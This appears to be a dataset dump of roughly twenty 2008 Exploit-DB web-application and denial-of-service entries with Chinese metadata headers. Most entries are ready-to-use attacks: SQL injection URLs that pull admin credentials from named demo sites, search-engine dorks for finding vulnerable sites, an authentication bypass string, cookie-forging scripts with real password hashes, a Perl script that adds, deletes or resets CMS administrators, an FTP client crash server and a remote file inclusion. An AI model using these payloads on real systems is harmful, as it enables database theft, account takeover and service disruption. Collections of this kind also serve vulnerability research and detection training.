QLWD/code_shield huggingface dataset:
标题: Downline Goldmine paidversion - SQL Injection EDB-ID: 6950 CVE: 2008-4178 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: paidversion (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--

Demo :
_______

http://www.downlinegoldmine.com/paidversion/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Greetz : All my freind

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6950
标题: YourFreeWorld Viral Marketing - SQL Injection EDB-ID: 6941 CVE: 2008-3756 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Viral Marketing ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/viralmarketing.php

DorK   : Copyright Â© Viral Marketing 2008

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/viralmarketing/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6941
标题: YourFreeWorld Scrolling Text Ads - SQL Injection EDB-ID: 6942 CVE: 2008-4885 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Scrolling Text Ads ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/scrollingads.php

DorK   :  inurl:"tr1.php?id="

Exploit :
_______

tr1.php?id=-19+union+select+1,2,3,4,concat(0x3a,Username,0x3a,Password),6,7,8,9,10,11,12,13,14,15+from+adminsettings--



Demo :
_______


http://www.downlinegoldmine.com/scrollingtextads/tr1.php?id=-19+union+select+1,2,3,4,concat(0x3a,Username,0x3a,Password),6,7,8,9,10,11,12,13,14,15+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6942
标题: YourFreeWorld Classifieds - 'category' SQL Injection EDB-ID: 6945 CVE: 2008-3755 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Classifieds (category) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifieds.php

DorK   :  inurl:classifieds/view.php?category=

Exploit :
_______

view.php?category=-2+UNION+SELECT+1,concat(0x3a,Username,0x3a,Password),3+from+adminsettings--



Demo :
_______
http://www.downlinegoldmine.com/classifieds/view.php?category=-2+UNION+SELECT+1,concat(0x3a,Username,0x3a,Password),3+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6945
标题: Shahrood - Blind SQL Injection EDB-ID: 6934 CVE: 2008-5003 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: ========================================================

==> Shahrood (ndetail.php id) Blind SQL Injection Vulnerability

========================================================

==> AuThOr : BazOka-HaCkEr

==> EmaiL    : x9j@hotmail.com

==> HomE    :  www.TrYaG.cc/cc

========================================================

==> Product Page :

==> http://www.shahrood.net/

==> ExplO!te :

==> www.TarGeT.com/ndetail.php?id=[SQL]
 
==> Example :

==> www.shahvar.ir/ndetail.php?id=24+AND+SUBSTRING(@@version,1,1)=5

=========================================================

==> GreeTz :

==> FeezO , Abu-Mahdi , MoGaTiL , Mr.Al7rbi , Str0ke , TrYaG TeaM

=========================================================

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6934
标题: YourFreeWorld Blog Blaster - 'tr.php' SQL Injection EDB-ID: 6937 CVE: 2008-4883 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Blog Blaster( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/blogblaster.php

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/blogblaster/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Admin Login :
_______
/admin/




Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6937
标题: Graugon PHP Article Publisher Pro 1.5 - Insecure Cookie Handling EDB-ID: 6929 CVE: 2009-4808 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: [~] Article Publisher PRO Insecure Cookie Handling Vulnerability
[~]
[~] version: 1.5
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 01.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] ----------------------------------------------------------

demo admin login:

http://demo-article-publisher-pro.phparticlescript.com/admin/admin.php

demo user login:

http://demo-article-publisher-pro.phparticlescript.com/login.php


admin_name: admin

passwd: demo

passwd_md5: fe01ce2a7fbac8fafaed7c982a04e229

user_id: 1

or

user_name: zorlu

passwd: zorlu

passwd_md5: 2178fb3ee4a88f946ecb68734b266c10

user_id: 6

or

user_name: demo

passwd: demo

passwd_md5: fe01ce2a7fbac8fafaed7c982a04e229

user_id: 2


exploit:

admin:

javascript:document.cookie = "xadmin=user_id%2Cpasswd_md5; path=/";

user: 

javascript:document.cookie = "user=user_id%2Cpasswd_md5; path=/";

for demo admin: ( user_id: 1)

javascript:document.cookie = "xadmin=1%2Cfe01ce2a7fbac8fafaed7c982a04e229; path=/";

for demo user: ( for user zorlu user_id: 6 )

javascript:document.cookie = "user=6%2C2178fb3ee4a88f946ecb68734b266c10; path=/";

for demo user: ( for user demo user_id: 2 )

javascript:document.cookie = "user=2%2Cfe01ce2a7fbac8fafaed7c982a04e229; path=/";


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6929
标题: GO4I.NET ASP Forum 1.0 - SQL Injection EDB-ID: 6930 CVE: 2008-6527 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: # Bl@ckbe@rD ('Tunisian TerrorisT') #
                                         # ===================== #
-----------------------------------------------------------------------------------

[+] Script Name   : Asp Forum v1.0 Rem0te SQL Injection EXploit

[+] Author          : Bl@ckbe@rD ('Tunisian TerrorisT')

[+] Contact         : blackbeard-sql[A.T]hotmail{.}fr

[+] Home           : http://www.underz0ne.org

[+] Dork             : http://www.google.com

http://www.google.com/search?q=%22ASP+Forum+v1.0+-+Powered+by+GO4I.NET++-%22+++inurl:forums.asp%3FiFor%3D&

hl=fr&lr=&client=firefox-a&rls=org.mozilla:fr:official&hs=ELg&

filter=0 

--//-->

[+] Expl0iT :

http://www.site.xx/forum/forum.asp?iFor={sql}

http://www.site.xx/forum/forum.asp?iFor=12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users
--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6930
标题: Bloggie Lite 0.0.2 Beta - Insecure Cookie Handling / SQL Injection EDB-ID: 6925 CVE: 2008-5004 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: # Bloggie Lite 0.0.2 Beta SQl Injection by Insecure Cookie Handling
# url: http://mywebland.com/download.php?id=20
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /genscode.php
vuln code:
39: $user_ip = $_SERVER['REMOTE_ADDR'];
    define('COMMENT_COOKIE', md5($user_ip));
    if(isset($_COOKIE[COMMENT_COOKIE])) {
xx: ...
    $comment_cookie = $_COOKIE[COMMENT_COOKIE];
55: $sql = "SELECT * FROM ".SCODE_TBL." WHERE cookie = '".$comment_cookie."'";

exploit:
javascript:document.cookie = "f528764d624db129b32c21fbca0cb8d6=127.0.0.1'+union+all+select+user(),user(),user()/*; path=/";

Hack0wn :D

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6925
标题: AJ Article 1.0 - Authentication Bypass EDB-ID: 6932 CVE: 2008-6721 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : Auth Bypass
# Script : AJ ARTICLE 
# Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

# [~] First Go to http://www.ajsquare.com/products/demo/admin/index.php
# [~] In username Write : admin ' or ' 1=1
# [~] In Password Any thing : Hakxer
# [~] Click Login ..! you in panel
  

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6932
标题: SFS EZ Webstore - 'where' SQL Injection EDB-ID: 6922 CVE: 2008-6242 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: [~] SFS EZ WEBSTORE remote sql inj
[~]
[~] SearchResults.php (where)
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 01.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/SearchResults.php?SearchTerm=ZoRLu&where=[SQL]

[SQL]=

ItemDescription+union+select+1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

demo

http://turnkeyzone.com/demos/store/SearchResults.php?SearchTerm=ZoRLu&where=ItemDescription+union+select+1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6922
标题: FTP Now 2.6 Server - Response Remote Crash (PoC) EDB-ID: 6926 CVE: 2008-5045 类型: DOS 平台: WINDOWS 发布日期: 2008-11-01 漏洞利用脚本: #!/usr/bin/perl
# By Dr.Pantagon
# www.deltasecurity.ir
# DeltaSecurityCenter
# Special Tnx D_7J AND H!V++
# FTP Now version 2.6 Server Response PoC
# Usage: ./ftpnow.pl [IP]
# Download Link : http://www.network-client.com/ftpnow/FTPNow26.exe
#
# Details: The response is broken into buffers, either at length 1024,
#                  or at '\r\n'. Each buffer is apended with \x00, without
#                  bounds checking.  If the response is exctly 1024 characters
#                  in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';  # Default ip
my $sock = IO::Socket::INET->new(Listen=>1,
                                 LocalHost=>$ip,
                                                     LocalPort=>'21',  #Default port
                                                             Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 dara daram , dara daram :D \r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
       my $response;
       if($_ eq "USER") { $response="331 ";}
       elsif($_ eq "PASS") { $response="230 ";}
       elsif($_ eq "syst") { $response="215 ";}
       elsif($_ eq "CWD") { $response="250 ";}
       elsif($_ eq "PWD") { $response="230 ";}
       else { $response="200 ";}
       print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6926
标题: YourFreeWorld Banner Management - SQL Injection EDB-ID: 6936 CVE: 2008-4900 2008-4895 2008-4884 2008-4883 2008-4882 2008-4881 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Banner Management (id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/bannermanagementscript.asp

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(user(),version(),database()),5,6,7,8,9,10,11,12,13--


Demo :
_______

http://www.downlinegoldmine.com/bannermanagerpro/tr.php?id=-1+union+select+1,2,3,concat(user(),version(),database()),5,6,7,8,9,10,11,12,13--




Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6936
标题: SFS EZ Gaming Cheats - SQL Injection EDB-ID: 6924 CVE: 2008-6244 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: [~] SFS EZ Gaming Cheats remote sql inj
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 01.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/view_reviews.php?id=[SQL]

[SQL]=

-999999999+union+select+1,2,concat(user(),0x3a,database(),0x3a,version()),4,5,6,7,8,9--

demo

http://turnkeyzone.com/demos/cheats/view_reviews.php?id=-999999999+union+select+1,2,concat(user(),0x3a,database(),0x3a,version()),4,5,6,7,8,9--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6924
标题: Micro CMS 0.3.5 - Remote Add/Delete/Password Change EDB-ID: 6933 CVE: 2008-6553 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: #!/usr/bin/perl
# --------------------------------------------------------------
# Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit
# StAkeR[at]hotmail[dot]it
# http://www.impliedbydesign.com/apps/microcms/microcms.zip
# --------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($admin,$passwd);
my @real = undef;
my $http = new LWP::UserAgent; 
my ($host,$path,$tell) = @ARGV;

if($host !~ /http:\/\/(.+?)$/i || $tell !~ /^\-(delete|change|add)?$/i)
{
  print STDOUT "[+] Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit\n";
  print STDOUT "[+] Usage: perl $0 http://[host] [path] -option (-delete,-change,-add)\n";
  exit;
}


if($tell =~ /delete/i)
{
  print STDOUT "[+]Admin ID: ";
  chomp($admin = <STDIN>);
  
  if(defined $admin)
  {
    print STDOUT del_admin($admin);
    exit;
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
    exit;
  }
}

if($tell =~ /change/i)
{
  print STDOUT "[+] Admin ID : ";
  chomp($admin = <STDIN>);
  
  print STDOUT "[+] New Password: ";
  chomp($passwd = <STDIN>);
  
  if(defined $admin || defined($passwd))
  {
    print STDOUT change_pwd($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}

if($tell =~ /add/i)
{
  print STDOUT "[+] Admin Username: ";
  chomp($admin = <STDIN>);
  
  print STDOUT "[+] Admin Password: ";
  chomp($passwd = <STDIN>);
  
  if(defined $admin || defined($passwd))
  {
    print STDOUT add_admin($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}


sub change_pwd
{
  my ($userid,$passwd) = @_;
 
  my $post = {
               action                  => 'change_password',
               administrators_id       => $userid,
               administrators_password => $passwd,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Password Changed! ($passwd)\n";

}


sub del_admin
{
  my $userid = shift @_;
 
  my $post = {
               action                  => 'delete_admin',
               administrators_id       => $userid,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Admin ($userid) Has Been Deleted!\n";

}


sub add_admin
{
  my ($username,$password) = @_;
  my $level = 1;
 
  my $post = {
               action                  => 'add_admin',
               administrators_name     => $username,
               administrators_username => $username,
               administrators_password => $password,
               administrators_email    => $username,
               administrators_level    => $level,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Username: $username and Password: $password\n";
}    

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6933
标题: YourFreeWorld Downline Builder - 'tr.php' SQL Injection EDB-ID: 6935 CVE: 2008-4895 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Downline Builder( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/downlinebuilder.php

DorK   : inurl:tr.php?id= Downline

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/downlinebuilder/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6935
标题: SFS EZ Pub Site - SQL Injection EDB-ID: 6923 CVE: 2008-6794 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : SQL Injection
# Script :  SFS EZ Pub Site 
# Greetz : Allah , Egyptian x hacker , Str0ke  :) 
##########################################################################

# [~] Poc : 
http://www.turnkeyzone.com/demos/pubs/directory.php?cat=-9+union+select+1,2,3,4,5,6,7,@@version,9,10,11,12,13,14/*
# [~] Exploit :
http://www.turnkeyzone.com/demos/pubs/directory.php?cat=-9+union+select+1,2,3,4,5,6,7,database(),9,10,11,12,13,14/*
OR
http://www.turnkeyzone.com/demos/pubs/directory.php?cat=-9+union+select+1,2,3,4,5,6,7,@@version,9,10,11,12,13,14/*
  

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6923
标题: Joomla! Component Flash Tree Gallery 1.0 - Remote File Inclusion EDB-ID: 6928 CVE: 2008-6482 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: ==================================================================================================================


  [o] Flash Tree Gallery 1.0 Remote File Inclusion Vulnerability

       Software : com_treeg version 1.0
       Vendor   : http://justjoomla.net/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


==================================================================================================================


  [o] Vulnerable file

       administrator/components/com_treeg/admin.treeg.php

        include( "$mosConfig_live_site/components/com_treeg/about.html" );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=[evilcode]


==================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com - http://serverisdown.org/blog/]
       VOP Crew [ Vrs-hCk OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
==================================================================================================================

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6928
标题: SFS EZ Auction - Blind SQL Injection EDB-ID: 6918 CVE: 2008-6778 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Blind Sql Injection
# Script : SFS EZ Auction Remote Blind sql injection
# Home Script : http://www.scripts-for-sites.info/item.php?item=97
# Greetz : Allah , All my freind
##########################################################################


P0c :

http://localhost/viewfaqs.php?cat=1+and+1=1 true

http://localhost/viewfaqs.php?cat=1+and+1=1 false

http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 true

http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 false

Exploit :

http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5

http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4

Demo :

http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5

http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6918
标题: SFS EZ Top Sites - SQL Injection EDB-ID: 6920 CVE: 2008-6247 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Sql injection
# Script : SFS EZ Top Sites  Remote sql Injection
# Home Script : http://www.scripts-for-sites.info/item.php?item=112
# Greetz : Allah , All my freind
##########################################################################

http://localhost/topsites/topsite.php?ts=-1/**/UNION/**/SELECT/**/1,password,3,4,5+from+users/*

Demo :

http://turnkeyzone.com/demos/topsites/topsite.php?ts=-1/**/UNION/**/SELECT/**/1,password,3,4,5+from+users/*
http://turnkeyzone.com/demos/topsites/topsite.php?ts=-169%20union%20select%201,2,3,4,5/*

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6920